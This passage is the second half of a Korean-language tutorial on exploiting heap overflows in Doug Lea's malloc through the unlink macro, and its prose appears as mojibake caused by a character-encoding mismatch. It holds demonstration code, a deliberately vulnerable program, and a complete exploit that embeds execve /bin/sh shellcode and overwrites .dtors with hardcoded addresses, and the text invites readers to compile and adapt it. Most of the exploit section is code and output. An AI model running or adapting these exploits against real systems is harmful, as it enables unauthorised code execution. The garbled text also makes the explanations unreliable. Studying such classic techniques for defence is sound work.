¾ÕµÚ¸¦ °¡¸£Å°´Â fd, bk Æ÷ÀÎÅÍ°¡ P¸¦ Á¦¿ÜÇϸ鼭 ġȯ µÇ°ÔµË´Ï´Ù. BK.fd = P.fd = *FD +----------------------------------------+ | | +------+------+ +-------------+ +-----v-------+ | BK | | P | | FD | +------^------+ +-------------+ +------+------+ | | +-----------------------------------------+ FD.bk = P.bk = *BK ¹®Á¦°¡ ¹ß»ýÇÏ´Â °ÍÀº ¹Ù·Î ÀÌ°÷À̸ç, BK.fd¿Í FD.bk°¡ °¢°¢ ġȯµÉ¶§ ¾î¶²ÀÓÀÌÀÇ ÁÖ¼Ò¿µ¿ª¿¡ µ¤¾î ½á Áú¼ö ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù. ¿Ö³ÄÇϸé, Overflow¿¡ ÀÇÇØ ¿ì¸®°¡ FD chunkÀÇ ÀڷᱸÁ¶¿¡ ´ëÇÑ controlÀ» °¡Áö°í Àֱ⶧¹®ÀÔ´Ï´Ù. ¾Æ·¡Àå¿¡¼­´Â ÀÌ ¹®Á¦¸¦ ÀÚ¼¼È÷ ´Ù·ç¾î º¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. Âü°íÀûÀ¸·Î ÀÌÇظ¦ µ½±âÀ§ÇÑ ´õ Á÷°üÀûÀÎ ¼³¸í°ú ±×¸²Àº ¾Æ·¡¿Í °°½À´Ï´Ù. free A¸¦ ÇÒ¶§ , 1. A.size += B.size, 2. unlik B from chunk list +----------+ +----------+ +----------+ +----------+ | | <------- | | <------- | | <------- | | | | -------> | A | -------> | B | -------> | | +----------+ +----------+ +----------+ +----------+ +----------+ +---------------------+ +----------+ | | <------- | | <------- | | | | -------> | A.B (º´ÇÕµÊ) | -------> | | +----------+ +---------------------+ +----------+ ¹Ù. Overflow Chunk ! ================================== LBL traceroute¸¦ exploitÇϴµ¥ ¼º°øÇÑ dvorakÀÌ ±×ÀÇ exploit°ú document¸¦ ¹ßÇ¥Çϸ鼭 µ¶ÀÚÀÇ ÀÌÇظ¦ µ½±âÀ§ÇØ Ã·ºÎÇÑ °£´ÜÇÑ ¼Ò½º¸¦ Âü°íÇÔÀ¸·Î½á free/malloc¿¡ ´ëÇÑ ½ÇÁ¦ °úÁ¤À» »ìÆ캼¼ö ÀÖ½À´Ï´Ù. --dvorak.c #dvorak ÷ºÎ¼Ò½º void main(void) { unsigned int *chunk; int i; unsigned int shellcode[10]; unsigned int ret_addr_2_change = 0xAABBCCDD; /* Get some space */ chunk = malloc(0x8); /* now setup the chunk to fool chunk_free() By making prev_size negative it will look _after_ this chunk in stead of in front of it */ #define DUMBPTR 0x11111111 chunk[0] = -0x10; /* prev_size */ chunk[1] = 0x11; /* size */ chunk[2] = DUMBPTR ;//shellcode; /* fd */ chunk[3] = DUMBPTR ;//shellcode; /* bk */ /* set fd to the adres of the return address - 3 the minus 3 is needed because fd[3] will become bk bk will be set to point to our shellcode. Remember that bk[2] will be changed to contain fd so that there should be a jmp or so in the shellcode to skip that value. */ //chunk[4] = -0x10; // don't care //chunk[4+1] = -0x10; // don't care chunk[4+2] = (int) (&ret_addr_2_change - 3); chunk[4+3] = (int) (shellcode); /* set shellcode to 0 so that we can see the change */ memset(shellcode, 0, sizeof(shellcode)); printf("*******ret (before) : %x\n", ret_addr_2_change); printf("address of ret: %x\n", &ret_addr_2_change); printf("address of shellcode: %x\n", shellcode); /* remember we give mem to free which finds the chunk based on that */ free(&chunk[2]); //free(chunk+2); printf("*******ret (now ) : %x\n", ret_addr_2_change); for (i = 0 ; i < 10; i++) { printf("sh: %d : %x \n", i, shellcode[i]); } } seo@omg test]$ ./dvorak *******ret (before) : aabbccdd address of ret: bffffa9c address of shellcode: bffffaa0 *******ret (now ) : bffffaa0 sh: 0 : 0 sh: 1 : 0 sh: 2 : bffffa90 sh: 3 : 0 sh: 4 : 0 sh: 5 : 0 sh: 6 : 0 sh: 7 : 0 sh: 8 : 0 sh: 9 : 0 À§¿¡¼­ dvorakÀº ÇÙ½ÉÀûÀÎ ¸î°¡Áö º¯¼ö¸¦ ÀÓÀÇ·Î ¼³Á¤ÇØ ³õ°í ±×°Í¿¡ °¢°¢ shellcode¶ó´Â º¯¼ö¸í°ú return address´Â º¯¼ö¸íÀ» ÁöĪÇß½À´Ï´Ù. ÀÌ´Â ½ÇÁ¦ exploitÀÇ °³³ä¿¡µµ ±×´ë·Î Àû¿ëÇÒ¼ö ÀÖ´Â °ÍÀ¸·Î, º¯¼ö¸íÀ» ÁÖÀÇÇϸ鼭 µ¿ÀÛ°úÁ¤À» ÁÖ½ÃÇØ¾ß ÇÒ ÇÊ¿ä°¡ ÀÖ½À´Ï´Ù. dvorakÀÌ ¼³Á¤ÇÑ À§¿Í °°Àº °¡Á¤ÇÏ¿¡ À§ÀÇ ¼Ò½º¿Í °á°ú¸¦ »ìÆ캸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ¸ÕÀú ±×´Â µÎ°³ÀÇ chunk¸¦ ¸¸µé°Ô µË´Ï´Ù. °¢°¢ ¾Æ·¡¿Í °°Àº ¸ð¾çÀ» ÇÏ°í ÀÖ½À´Ï´Ù. º¯¼ö·Î´Â Çϳª¸¦ ¸í¸íÇßÁö¸¸ ½ÇÁ¦·Î´Â µÎ°³ÀÇ chunk¶ó´Â °Í¿¡ ÁÖÀÇÇϱ⠹ٶø´Ï´Ù. Àú´Â ¿©±â¼­ ±×ÀÇ µÎ chunk¸¦ °¢°¢ Çѱ۸í ûũ1, ûũ2¶ó°í ¸í½ÃÇÏ°Ú½À´Ï´Ù. (int*)chunk [0] prev_size = -0x10 [4] prev_size = ? [1] size = 0x11 [5] size = ? [2] fd = &shellcode [6] fd = &return address - 12bytes [3] bk = &shellcode [7] bk = &shellcode ûũ1 ûũ2 À§¿¡¼­ º¸¾Ò´ø free()¾Ë°í¸®Áò¿¡ ÀÇÇØ, free(ûũ1)Àº ¸ÕÀú ûũ2ÀÇ »ç¿ëÀ¯¹«¸¦ °Ë»çÇÒ °ÍÀÔ´Ï´Ù. -ÀÌ°ÍÀº ûũ2¸¦ º´ÇÕÇÒ °ÍÀΰ¡¿¡ ´ëÇÑ °Ë»çÀÔ´Ï´Ù. - ±×·±ÈÄ, ûũ2ÀÇ sizeÀ» ÀÚ½ÅÀÇ size¿¡ ´õÇÏ°í ûũ2¸¦ unlinkÇÒ °ÍÀÔ´Ï´Ù. unlink ¸ÅÅ©·Î¿¡ ÀÇÇØ Ã»Å©2ÀÇ fd, bkÆ÷ÀÎÅÍ´Â ¸î°¡Áö overwritingÀ» ¼öÇàÇÕ´Ï´Ù. ±×°ÍÀº chunk[6]°ú chunk[7]À» ÂüÁ¶ÇÔÀ¸·Î½á ÀÌ·ç¾î Áý´Ï´Ù. free()Àü +----> ? +------ fd -----------+ | | v *shellcode Àִ°÷ chnunk[4] *return address ^ (ûũ2 ) | | | | +---------bk-------------+ ? <----+ free()ÈÄ +----> ? | *shellcodeÀִ°÷ chunk[4] *return address ^ (ûũ2) | | | +------------------- bk -----------------------+ cf. *return address°¡ ÀÖ´Â °÷À¸·ÎºÎÅÍ 12byteµÚ¿¡ ¸Þ¸ð¸®°¡ shellcode¸¦ °¡¸£Å°°Ô µÉ°ÍÀÔ´Ï´Ù. µû¶ó¼­, exploit½Ã¿¡´Â return address¿¡¼­ 12 byte¸ÕÀú »« ÁÖ¼ÒóÀ½¿¡ °¡¸£Å°°Ô ÇؾßÇÕ´Ï´Ù. ½ÇÇà°á°ú¸¦ º¸¾Æµµ ¾Ë ¼ö ÀÖµíÀÌ, return address¶ó°í °¡Á¤Çß´ø º¯¼ö ret_addr_2_change °¡ óÀ½¿£ 0xaabbccddÀÇ °ªÀ» °¡Áö°í ÀÖ´Ù°¡, freeÈÄ¿¡ shellocdeÀÇ ÁÖ¼ÒÀÎ 0xbffffaa0¸¦ °¡¸£Å°°í ÀÖ½À´Ï´Ù. ¹°·Ð, shellcode ¿µ¿ªÀÇ 12byteµÚ¿¡ ¹º°¡ dummy°ªÀÌ ¾²¿©Á³´Ù´Â °Íµµ ã¾Æº¼¼ö ÀÖ½À´Ï´Ù. ulink¸ÅÅ©·Î´Â shellocode.fd¿¡ overwritingÀ» ¼öÇàÇϴµ¥ , shellocde.fd´Â °ð ÁÖ¼Ò (shlleocde + 12)¿Í °°Àº ÀǹÌÀ̱⠶§¹®ÀÔ´Ï´Ù. °á·ÐÀûÀ¸·Î, ¿ì¸®´Â dvorakÀÇ ÈǸ¢ÇÑ trickingÀ¸·Î ÇÁ·Î±×·¥³»¿¡¼­ return address¸¦ shellcode·Î °¡¸£Å°°Ô Çϴµ¥ ¼º°øÇß½À´Ï´Ù. ÀÌ°ÍÀ¸·Î ¿ì¸®ÀÇ Áغñ°úÁ¤Àº ¸ðµÎ ³¡³µ´Ù°í »ý°¢µË´Ï´Ù. ±×·³ ½ÇÁ¦ÀûÀÎ exploitÀ¸·Î µé¾î°¡±â Àü¿¡ ÇϳªÀÇ ¿¹Á¦¸¦ ´õ º¸°í explitÄڵ带 Â¥ º¸°Ú½À´Ï´Ù. --exp2.c #¸ðÀÇ exploit ¿¹Á¦ #include static char shellcode[]= "\xeb\x0a" //this jumps 10 bytes to the real shellcode "xxxxxxOOOO" //the 'O's are overwritten //normal aleph1 shellcode "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46" "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; static int *shptr; int main(int argc, char *argv[]) { char *m , *m2; int *ptr, *ptr2; int i; m = malloc(32); m2 = malloc(16); ptr = (int *)( m) ; //ptr[0-2] // prev_size //ptr[0-1] // size ptr[0] = -0x10; // fd ptr[1] = -0x10; // bk #define DTORS 0x80496f0 #define FAKEFIELD 0xfffffffc //high to add to a pointer #define PREV_INUSE 0x1 // user request 32, so next chunk started at, ptr[4] ptr[8] = -0x4 ; ptr[8+1] = -0x1 ; ptr[8+2] = (int) (DTORS -3*sizeof(int)); ptr[8+3] = (int)shellcode ; free(m); free(m2); shptr = shellcode ; for( i=0 ; i< (strlen(shellcode)/4 +1) ; i++ ) printf("shellcode[%d] = %#x\n", i, shptr[i] ); } ÀÌ ÄÚµå´Â free°¡ ¼öÇàµÇ°í ÇÁ·Î±×·¥ÀÌ ³¡³ª´Â µ¿½Ã¿¡ shellcode°¡ ½ÇÇàµÇ°Ô ±¸¼ºµÇ¾î ÀÖ½À´Ï´Ù. return address´ë½Å .dtors¸¦ »ç¿ëÇßÀ¸¸ç, ½ÇÁ¦ shellocde+12 ¿µ¿ª¿¡ µ¤ÇôÁö´Â dummy°ªÀ» ¶Ù¾î ³Ñ±âÀ§ÇØ jumpÄÚµå(\xeb\x0a)¸¦ ¾Õ¿¡ »ðÀÔÇß½À´Ï´Ù. ¿ì¸®´Â m¿¡ ´ëÇØ overflowÇÑ´Ù°í °¡Á¤À» ÇÏ°í ptr·Î overflowó·³ ¸Þ¸ð¸®¸¦ '¸ðÀÇ Á¢±Ù'Çß½À´Ï´Ù. ptr[0]¿Í ptr[1]Àº ´Ü¼øÈ÷ nullÀ» ÇÇÇÐÀ§ÇÑ dummy °ªÀ̹ǷΠ½Å°æ¾²Áö ¾ÊÀ¸¼Åµµ µË´Ï´Ù. ´Ù¸¸, m2ÀÇ chunkÁï ptr[8]¿¡¼­ À½¼ö¸¦ ¾²´ÂÀÌÀ¯´Â, ´Ü¼øÈ÷ NULLÀ» ÇÇÇÏ°í, º´ÇÕ¿©ºÎ¸¦ °áÁ¤ÇÏ´Â °úÁ¤¿¡¼­ PREV_INUSEÀÇ masküŷÀ» ¿ìȸÇϱâ À§ÇÑ ±î´ßÀÔ´Ï´Ù. Âü°í·Î -0x4´Â 0xfffffffcÀÔ´Ï´Ù. ±×·³ ¾Æ·¡¿¡´Â ¾ÆÁÖ ÀϹÝÀûÀÎ ¿¹Á¦ exploitÀ» ÷°¡ÇØ º¸°Ú½À´Ï´Ù. »ç. exploit ====================== --vul.c #free/malloc overflow¿¡ Ãë¾àÇÑ ÇÁ·Î±×·¥ #include #include #include int main(argc, argv) int argc; char *argv[]; { char *m1, *m2; m1 = malloc(130); m2 = malloc(30); if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( m1 , argv[1] ); free(m1); free(m2); } --exp3.c #free/malloc exploit for vul #include #include #include #include static char shellcode[]= "\xeb\x0a" //this jumps 10 bytes to the real shellcode "xxxxxxOOOO" //the 'O's are overwritten //normal aleph1 shellcode "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46" "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(argc, argv) int argc; char *argv[]; { char buf[400]; int *iptr; char *cptr; int i; // buf(132) + size + fd + bk #define FAKEOFF 0xffffffff memset ( buf , '\x90', sizeof(buf) ); iptr = (int*)buf ; iptr[0] = -0x10; iptr[1] = -0x10; cptr = (char*)&iptr[2]; for ( i=0 ; i < strlen(shellcode) ; i++ ) { cptr[i] = shellcode[i]; } #define DTORS 0x08049674 #define SHELLOFF 0x080497a0 #define PREV_INUSE 0x01 iptr = (int*)&buf[128]; iptr[0] = -0x4 ; iptr[1] = -0x1 ; iptr[2] = (int)DTORS - (sizeof(int)*3); iptr[3] = (int)SHELLOFF; iptr[4] = 0; execl("./vul", "vul", buf, (char*)NULL ); } * ÄÄÆÄÀÏÇؼ­ ÀÚ½ÅÀÇȯ°æ¿¡ ¸Â°Ô »ç¿ëÇϽñ⠹ٶø´Ï´Ù. ¾Æ. »çÁ· ================= ¾Õ¿¡¼­ ¼³¸íÇÑ ¹Ù¿Í °°ÀÌ, ÀÌ ±â¼úÀº OS¿Í hardware¿¡ ±²ÀåÈ÷ dependentÇÕ´Ï´Ù. µû¶ó¼­ exploitµéÀº Ç×»ó ÇØ´ç OSÀÇ malloc/free¿¡ ´ëÇÑ ±¸ÇöÀ» Á¤È®È÷ ÆľÇÇÏ°í ÀÖ¾î¾ß ÇÕ´Ï´Ù. µ¿Àû¸Þ¸ð¸® ÇÒ´ç¿¡ °üÇÑ ¾Ë°í¸®ÁòÀÇ ¸®½ºÆ®¸¦ ¾Æ·¡ ³ª¿­ÇÕ´Ï´Ù. °³ÀÎÀûÀ¸·Î Doug Lee¿¡ ´ëÇÑ malloc/free exploit ¸»°íµµ, ¸¹Àº ¿¬±¸°¡ ÁøÇàµÇ¾úÀ¸¸é ÇÕ´Ï´Ù. Boehm-Weiser Conservative Garbage Collector http://www.hpl.hp.com/personal/Hans_Boehm/gc/ BSD Malloc, originally by Chris Kingsley http://www.ajk.tele.fi/libc/stdlib/malloc.3.html CSRI UToronto Malloc, by Mark Moraes http://www.cs.toronto.edu/~moraes/ GNU Malloc, by Mike Haertel ftp://ftp.cs.colorado.edu/pub/misc/malloc-implementations G++ Malloc, by Doug Lea http://g.oswego.edu/dl/html/malloc.html Hoard, by Emery Berger http://www.hoard.org/ mmalloc (the GNU memory-mapped malloc package) http://www.sdsu.edu/doc/texi/mmalloc_toc.html ptmalloc, by Wolfram Gloger http://www.malloc.de/en/index.html QuickFit Malloc ftp://ftp.cs.colorado.edu/pub/misc/qf.c Vmalloc, by Kiem-Phong Vo http://www.research.att.com/sw/tools/vmalloc/ ÀÚ. Reference =================== [1] "Once upon a free()" anonymous http://www.phrack.org/show.php?p=57&a=9 [2] "Vudo malloc tricks " Michel "MaXX" Kaempf http://www.phrack.org/show.php?p=57&a=8 [3] "A Memory Allocator" Doug Lea, dl@gee.cs.oswego.edu http://g.oswego.edu/dl/html/malloc.html [4] "free() issues" http://security-archive.merton.ox.ac.uk/security-audit-200007/index.html#13 [5] "LBL traceroute exploit" dvorak, (dvorak@synnergy.net) http://www.synnergy.net/downloads/exploits/traceroute-exp.txt [6] "Overwriting .dtors Using Malloc Chunk Corruption" Nippon, (nivinity@hotmail.com) "http://www.securitywriters.org/texts/coding/dtors_malloc.php"